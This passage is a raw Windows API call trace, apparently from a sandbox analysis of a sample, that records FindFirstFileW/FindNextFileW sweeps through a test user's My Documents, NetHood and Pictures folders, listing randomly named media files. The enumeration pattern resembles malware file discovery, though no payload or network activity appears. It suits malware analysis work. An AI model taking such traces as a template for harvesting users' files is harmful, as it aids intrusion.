nFileSizeHigh=0x0, nFileSizeLow=0x155b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2VWfH-tyMn.wav", cAlternateFileName="2VWFH-~1.WAV")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dd60aa0, ftCreationTime.dwHighDateTime=0x1d4d416, ftLastAccessTime.dwLowDateTime=0x1a1e2110, ftLastAccessTime.dwHighDateTime=0x1d4d2b6, ftLastWriteTime.dwLowDateTime=0x1a1e2110, ftLastWriteTime.dwHighDateTime=0x1d4d2b6, nFileSizeHigh=0x0, nFileSizeLow=0x122b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5lR8cXfV8AUdqEIQ87t.mp3", cAlternateFileName="5LR8CX~1.MP3")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a2db20, ftCreationTime.dwHighDateTime=0x1d4d257, ftLastAccessTime.dwLowDateTime=0x1496b890, ftLastAccessTime.dwHighDateTime=0x1d4d493, ftLastWriteTime.dwLowDateTime=0x1496b890, ftLastWriteTime.dwHighDateTime=0x1d4d493, nFileSizeHigh=0x0, nFileSizeLow=0x16c80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AX5dw-yk.wav", cAlternateFileName="")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1460c1a0, ftCreationTime.dwHighDateTime=0x1d4d429, ftLastAccessTime.dwLowDateTime=0xfea27240, ftLastAccessTime.dwHighDateTime=0x1d4d2cb, ftLastWriteTime.dwLowDateTime=0xfea27240, ftLastWriteTime.dwHighDateTime=0x1d4d2cb, nFileSizeHigh=0x0, nFileSizeLow=0x14f4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EcgP9ne1dlBj.mp3", cAlternateFileName="ECGP9N~1.MP3")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b89180, ftCreationTime.dwHighDateTime=0x1d4caa3, ftLastAccessTime.dwLowDateTime=0xa2f52d0, ftLastAccessTime.dwHighDateTime=0x1d4d476, ftLastWriteTime.dwLowDateTime=0xa2f52d0, ftLastWriteTime.dwHighDateTime=0x1d4d476, nFileSizeHigh=0x0, nFileSizeLow=0x4d8d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EImepXLJ4.m4a", cAlternateFileName="EIMEPX~1.M4A")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe58edd0, ftCreationTime.dwHighDateTime=0x1d4cbe7, ftLastAccessTime.dwLowDateTime=0x95f3de30, ftLastAccessTime.dwHighDateTime=0x1d4c68e, ftLastWriteTime.dwLowDateTime=0x95f3de30, ftLastWriteTime.dwHighDateTime=0x1d4c68e, nFileSizeHigh=0x0, nFileSizeLow=0x12bbd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HaZTaX Zg1qKL.mp3", cAlternateFileName="HAZTAX~1.MP3")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1049ef0, ftCreationTime.dwHighDateTime=0x1d4cbe4, ftLastAccessTime.dwLowDateTime=0x8eb2a910, ftLastAccessTime.dwHighDateTime=0x1d4c53c, ftLastWriteTime.dwLowDateTime=0x8eb2a910, ftLastWriteTime.dwHighDateTime=0x1d4c53c, nFileSizeHigh=0x0, nFileSizeLow=0x17ae3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hZq26AwDROO OI ep.m4a", cAlternateFileName="HZQ26A~1.M4A")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2f3f940, ftCreationTime.dwHighDateTime=0x1d4cd73, ftLastAccessTime.dwLowDateTime=0x9b3a2170, ftLastAccessTime.dwHighDateTime=0x1d4cde5, ftLastWriteTime.dwLowDateTime=0x9b3a2170, ftLastWriteTime.dwHighDateTime=0x1d4cde5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JMb5K DyX7", cAlternateFileName="JMB5KD~1")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416abd90, ftCreationTime.dwHighDateTime=0x1d4d145, ftLastAccessTime.dwLowDateTime=0xede81060, ftLastAccessTime.dwHighDateTime=0x1d4cba8, ftLastWriteTime.dwLowDateTime=0xede81060, ftLastWriteTime.dwHighDateTime=0x1d4cba8, nFileSizeHigh=0x0, nFileSizeLow=0x76ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KpgK4Eq8VgZx.wav", cAlternateFileName="KPGK4E~1.WAV")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f6d9e0, ftCreationTime.dwHighDateTime=0x1d4d26e, ftLastAccessTime.dwLowDateTime=0xdbda5280, ftLastAccessTime.dwHighDateTime=0x1d4d0c5, ftLastWriteTime.dwLowDateTime=0xdbda5280, ftLastWriteTime.dwHighDateTime=0x1d4d0c5, nFileSizeHigh=0x0, nFileSizeLow=0xe5b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oksjJ.wav", cAlternateFileName="")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1cac20, ftCreationTime.dwHighDateTime=0x1d4d304, ftLastAccessTime.dwLowDateTime=0x616b60d0, ftLastAccessTime.dwHighDateTime=0x1d4d146, ftLastWriteTime.dwLowDateTime=0x616b60d0, ftLastWriteTime.dwHighDateTime=0x1d4d146, nFileSizeHigh=0x0, nFileSizeLow=0x2b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="P0kZ 5sEUj-Qr3n_8v.wav", cAlternateFileName="P0KZ5S~1.WAV")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43cc9d90, ftCreationTime.dwHighDateTime=0x1d4d412, ftLastAccessTime.dwLowDateTime=0x18b5a920, ftLastAccessTime.dwHighDateTime=0x1d4cfd1, ftLastWriteTime.dwLowDateTime=0x18b5a920, ftLastWriteTime.dwHighDateTime=0x1d4cfd1, nFileSizeHigh=0x0, nFileSizeLow=0x6a48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V8CZiiS8yq6173-jiD.mp3", cAlternateFileName="V8CZII~1.MP3")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43cc9d90, ftCreationTime.dwHighDateTime=0x1d4d412, ftLastAccessTime.dwLowDateTime=0x18b5a920, ftLastAccessTime.dwHighDateTime=0x1d4cfd1, ftLastWriteTime.dwLowDateTime=0x18b5a920, ftLastWriteTime.dwHighDateTime=0x1d4cfd1, nFileSizeHigh=0x0, nFileSizeLow=0x6a48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V8CZiiS8yq6173-jiD.mp3", cAlternateFileName="V8CZII~1.MP3")) returned 0 [0117.286] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.286] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.286] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147290 | out: hHeap=0x35b0000) returned 1 [0117.286] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.287] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0117.287] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.287] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.287] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.287] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.287] PathFindFileNameW (pszPath="") returned="" [0117.287] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43cc9d90, ftCreationTime.dwHighDateTime=0x1d4d412, ftLastAccessTime.dwLowDateTime=0x18b5a920, ftLastAccessTime.dwHighDateTime=0x1d4cfd1, ftLastWriteTime.dwLowDateTime=0x18b5a920, ftLastWriteTime.dwHighDateTime=0x1d4cfd1, nFileSizeHigh=0x0, nFileSizeLow=0x6a48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V8CZiiS8yq6173-jiD.mp3", cAlternateFileName="V8CZII~1.MP3")) returned 0xffffffff [0117.287] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de98 | out: hHeap=0x35b0000) returned 1 [0117.287] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.287] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.287] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.287] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0117.287] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.287] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.287] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.287] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.287] PathFindFileNameW (pszPath="") returned="" [0117.287] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43cc9d90, ftCreationTime.dwHighDateTime=0x1d4d412, ftLastAccessTime.dwLowDateTime=0x18b5a920, ftLastAccessTime.dwHighDateTime=0x1d4cfd1, ftLastWriteTime.dwLowDateTime=0x18b5a920, ftLastWriteTime.dwHighDateTime=0x1d4cfd1, nFileSizeHigh=0x0, nFileSizeLow=0x6a48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V8CZiiS8yq6173-jiD.mp3", cAlternateFileName="V8CZII~1.MP3")) returned 0xffffffff [0117.287] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61472e8 | out: hHeap=0x35b0000) returned 1 [0117.287] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.287] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147290 | out: hHeap=0x35b0000) returned 1 [0117.287] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.288] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0117.288] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.288] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.288] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.288] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.288] PathFindFileNameW (pszPath="") returned="" [0117.288] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x773e4b30, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x773e4b30, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.288] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.288] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x773e4b30, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x773e4b30, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb57e09b0, ftCreationTime.dwHighDateTime=0x1d4c562, ftLastAccessTime.dwLowDateTime=0x7b7ea740, ftLastAccessTime.dwHighDateTime=0x1d4d086, ftLastWriteTime.dwLowDateTime=0x7b7ea740, ftLastWriteTime.dwHighDateTime=0x1d4d086, nFileSizeHigh=0x0, nFileSizeLow=0x3268, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-9kI8q.png", cAlternateFileName="")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c412980, ftCreationTime.dwHighDateTime=0x1d4c587, ftLastAccessTime.dwLowDateTime=0x37f390e0, ftLastAccessTime.dwHighDateTime=0x1d4caa9, ftLastWriteTime.dwLowDateTime=0x37f390e0, ftLastWriteTime.dwHighDateTime=0x1d4caa9, nFileSizeHigh=0x0, nFileSizeLow=0x12ce1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5eZyg.gif", cAlternateFileName="")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb346f8f0, ftCreationTime.dwHighDateTime=0x1d4ce77, ftLastAccessTime.dwLowDateTime=0xbbc0d4f0, ftLastAccessTime.dwHighDateTime=0x1d4c5e0, ftLastWriteTime.dwLowDateTime=0xbbc0d4f0, ftLastWriteTime.dwHighDateTime=0x1d4c5e0, nFileSizeHigh=0x0, nFileSizeLow=0x11b1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8WI455-IeTtDu5ufHo.bmp", cAlternateFileName="8WI455~1.BMP")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x350fcf40, ftCreationTime.dwHighDateTime=0x1d4c8a3, ftLastAccessTime.dwLowDateTime=0x4e549e00, ftLastAccessTime.dwHighDateTime=0x1d4d35b, ftLastWriteTime.dwLowDateTime=0x4e549e00, ftLastWriteTime.dwHighDateTime=0x1d4d35b, nFileSizeHigh=0x0, nFileSizeLow=0x7962, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AIlA315n8k.jpg", cAlternateFileName="AILA31~1.JPG")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1257aa0, ftCreationTime.dwHighDateTime=0x1d4cab6, ftLastAccessTime.dwLowDateTime=0xc32e71d0, ftLastAccessTime.dwHighDateTime=0x1d4ca12, ftLastWriteTime.dwLowDateTime=0xc32e71d0, ftLastWriteTime.dwHighDateTime=0x1d4ca12, nFileSizeHigh=0x0, nFileSizeLow=0x1020a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ANRz7BiMGjif1lT.jpg", cAlternateFileName="ANRZ7B~1.JPG")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x786c6210, ftCreationTime.dwHighDateTime=0x1d4cf71, ftLastAccessTime.dwLowDateTime=0xfecc88a0, ftLastAccessTime.dwHighDateTime=0x1d4cf1f, ftLastWriteTime.dwLowDateTime=0xfecc88a0, ftLastWriteTime.dwHighDateTime=0x1d4cf1f, nFileSizeHigh=0x0, nFileSizeLow=0x1838f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BdqNz1PxzX3wOPjw.png", cAlternateFileName="BDQNZ1~1.PNG")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80afca0, ftCreationTime.dwHighDateTime=0x1d4cda6, ftLastAccessTime.dwLowDateTime=0xe05415b0, ftLastAccessTime.dwHighDateTime=0x1d4d284, ftLastWriteTime.dwLowDateTime=0xe05415b0, ftLastWriteTime.dwHighDateTime=0x1d4d284, nFileSizeHigh=0x0, nFileSizeLow=0x186f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bEXqr-0RskHd.bmp", cAlternateFileName="BEXQR-~1.BMP")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3222dc40, ftCreationTime.dwHighDateTime=0x1d4d38a, ftLastAccessTime.dwLowDateTime=0x702dca70, ftLastAccessTime.dwHighDateTime=0x1d4d35f, ftLastWriteTime.dwLowDateTime=0x702dca70, ftLastWriteTime.dwHighDateTime=0x1d4d35f, nFileSizeHigh=0x0, nFileSizeLow=0x9955, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C7F4 Wc1xIRcM1R.bmp", cAlternateFileName="C7F4WC~1.BMP")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dcf5dc0, ftCreationTime.dwHighDateTime=0x1d4d557, ftLastAccessTime.dwLowDateTime=0xa70539c0, ftLastAccessTime.dwHighDateTime=0x1d4cf5e, ftLastWriteTime.dwLowDateTime=0xa70539c0, ftLastWriteTime.dwHighDateTime=0x1d4cf5e, nFileSizeHigh=0x0, nFileSizeLow=0x1be9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cq3m_40ULsX.bmp", cAlternateFileName="CQ3M_4~1.BMP")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0c0960, ftCreationTime.dwHighDateTime=0x1d4cd93, ftLastAccessTime.dwLowDateTime=0x569d3220, ftLastAccessTime.dwHighDateTime=0x1d4d31a, ftLastWriteTime.dwLowDateTime=0x569d3220, ftLastWriteTime.dwHighDateTime=0x1d4d31a, nFileSizeHigh=0x0, nFileSizeLow=0x8f02, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d fvuJCkm tkxAy.bmp", cAlternateFileName="DFVUJC~1.BMP")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d68cd0, ftCreationTime.dwHighDateTime=0x1d4cced, ftLastAccessTime.dwLowDateTime=0x51eb45e0, ftLastAccessTime.dwHighDateTime=0x1d4c600, ftLastWriteTime.dwLowDateTime=0x51eb45e0, ftLastWriteTime.dwHighDateTime=0x1d4c600, nFileSizeHigh=0x0, nFileSizeLow=0x163e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gy-VQuUkc4SKj_omZAJ1.bmp", cAlternateFileName="GY-VQU~1.BMP")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf843f50, ftCreationTime.dwHighDateTime=0x1d4c785, ftLastAccessTime.dwLowDateTime=0x3eea77b0, ftLastAccessTime.dwHighDateTime=0x1d4c586, ftLastWriteTime.dwLowDateTime=0x3eea77b0, ftLastWriteTime.dwHighDateTime=0x1d4c586, nFileSizeHigh=0x0, nFileSizeLow=0x11601, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iIl9 Kf6dOpe1lUAjHX.png", cAlternateFileName="IIL9KF~1.PNG")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x922d9c30, ftCreationTime.dwHighDateTime=0x1d4c7f3, ftLastAccessTime.dwLowDateTime=0x769f82b0, ftLastAccessTime.dwHighDateTime=0x1d4d542, ftLastWriteTime.dwLowDateTime=0x769f82b0, ftLastWriteTime.dwHighDateTime=0x1d4d542, nFileSizeHigh=0x0, nFileSizeLow=0x18a47, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iZQNS6PXH2.bmp", cAlternateFileName="IZQNS6~1.BMP")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d86cb60, ftCreationTime.dwHighDateTime=0x1d4d4d5, ftLastAccessTime.dwLowDateTime=0x836c960, ftLastAccessTime.dwHighDateTime=0x1d4d0a0, ftLastWriteTime.dwLowDateTime=0x836c960, ftLastWriteTime.dwHighDateTime=0x1d4d0a0, nFileSizeHigh=0x0, nFileSizeLow=0x668e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jH6B7Hxu.gif", cAlternateFileName="")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19304e0, ftCreationTime.dwHighDateTime=0x1d4cb10, ftLastAccessTime.dwLowDateTime=0x1e138a70, ftLastAccessTime.dwHighDateTime=0x1d4c92f, ftLastWriteTime.dwLowDateTime=0x1e138a70, ftLastWriteTime.dwHighDateTime=0x1d4c92f, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="l6PS7hO-iIQ_NKlEq pK.png", cAlternateFileName="L6PS7H~1.PNG")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb843370, ftCreationTime.dwHighDateTime=0x1d4d459, ftLastAccessTime.dwLowDateTime=0x40345e10, ftLastAccessTime.dwHighDateTime=0x1d4cc2f, ftLastWriteTime.dwLowDateTime=0x40345e10, ftLastWriteTime.dwHighDateTime=0x1d4cc2f, nFileSizeHigh=0x0, nFileSizeLow=0x5d38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M4rm6k3.gif", cAlternateFileName="")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8a6570, ftCreationTime.dwHighDateTime=0x1d4c8d7, ftLastAccessTime.dwLowDateTime=0x1ca905f0, ftLastAccessTime.dwHighDateTime=0x1d4cdb9, ftLastWriteTime.dwLowDateTime=0x1ca905f0, ftLastWriteTime.dwHighDateTime=0x1d4cdb9, nFileSizeHigh=0x0, nFileSizeLow=0x7d62, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OrlE5DDk6Qs.bmp", cAlternateFileName="ORLE5D~1.BMP")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d015750, ftCreationTime.dwHighDateTime=0x1d4cf47, ftLastAccessTime.dwLowDateTime=0x7d7be6c0, ftLastAccessTime.dwHighDateTime=0x1d4c947, ftLastWriteTime.dwLowDateTime=0x7d7be6c0, ftLastWriteTime.dwHighDateTime=0x1d4c947, nFileSizeHigh=0x0, nFileSizeLow=0x2160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="p7jOmY0YHtfEDXHjzMJ-.jpg", cAlternateFileName="P7JOMY~1.JPG")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacefed20, ftCreationTime.dwHighDateTime=0x1d4d572, ftLastAccessTime.dwLowDateTime=0x4bef7210, ftLastAccessTime.dwHighDateTime=0x1d4c5ab, ftLastWriteTime.dwLowDateTime=0x4bef7210, ftLastWriteTime.dwHighDateTime=0x1d4c5ab, nFileSizeHigh=0x0, nFileSizeLow=0x1727e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RCRu7.gif", cAlternateFileName="")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3936a510, ftCreationTime.dwHighDateTime=0x1d4d566, ftLastAccessTime.dwLowDateTime=0xfd6772e0, ftLastAccessTime.dwHighDateTime=0x1d4d31b, ftLastWriteTime.dwLowDateTime=0xfd6772e0, ftLastWriteTime.dwHighDateTime=0x1d4d31b, nFileSizeHigh=0x0, nFileSizeLow=0x1022, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sM6ixwL8Pn6854du50BY.jpg", 